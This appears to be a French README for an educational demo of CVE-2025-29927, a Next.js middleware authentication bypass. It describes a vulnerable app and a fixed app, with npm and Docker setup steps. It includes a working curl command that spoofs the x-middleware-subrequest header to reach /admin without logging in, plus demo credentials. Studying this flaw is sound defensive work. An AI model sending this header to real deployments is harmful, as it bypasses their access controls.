
Démonstration de CVE-2025-29927 : contournement de l'authentification du middleware Next.js via l'usurpation de l'en-tête x-middleware-subrequest. Inclut des exemples d'applications vulnérables et corrigées pour l'éducation à la sécurité.
Ce dépôt contient une démonstration de la vulnérabilité Next.js CVE-2025-29927, qui affecte les versions 15.2.2 et antérieures de Next.js. La vulnérabilité permet aux attaquants de contourner les contrôles d'authentification du middleware en définissant un en-tête x-middleware-subrequest.
Il s'agit d'un monorepo NX contenant deux applications Next.js :
Dans les versions de Next.js antérieures à 15.2.3, il existe une vulnérabilité de sécurité dans l'implémentation du middleware. Le middleware ne valide pas correctement l'origine de l'en-tête x-middleware-subrequest, permettant aux attaquants de falsifier cet en-tête et de contourner les contrôles d'authentification basés sur le middleware.
# Navigate to the repository
cd nextjs-vulnerability
# Install dependencies for the vulnerable app
cd apps/vulnerable-app
npm install
# Start the vulnerable app
npm run dev
L'application vulnérable sera disponible à l'adresse http://localhost:3000.
# Navigate to the repository
cd nextjs-vulnerability
# Install dependencies for the fixed app
cd apps/fixed-app
npm install
# Start the fixed app
npm run dev
L'application corrigée sera disponible à l'adresse http://localhost:3001.
Vous pouvez également exécuter les applications avec Docker :
# For the vulnerable app
cd apps/vulnerable-app
docker build -t nextjs-vulnerable .
docker run -p 3000:3000 nextjs-vulnerable
# For the fixed app
cd apps/fixed-app
docker build -t nextjs-fixed .
docker run -p 3001:3000 nextjs-fixed
# Using curl
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
# Or use a browser extension like ModHeader to add the header
# and then visit http://localhost:3000/admin
Avec la version vulnérable (15.2.2), vous pourrez accéder à la page admin sans authentification en ajoutant l'en-tête x-middleware-subrequest.
Avec la version corrigée (15.2.3), le middleware valide correctement l'origine de cet en-tête, et vous serez toujours redirigé vers la page de connexion.
À des fins de démonstration, vous pouvez vous connecter avec :
adminpassword123Si vous utilisez Next.js en production, assurez-vous de mettre à jour vers la version 15.2.3 ou ultérieure pour vous protéger contre cette vulnérabilité.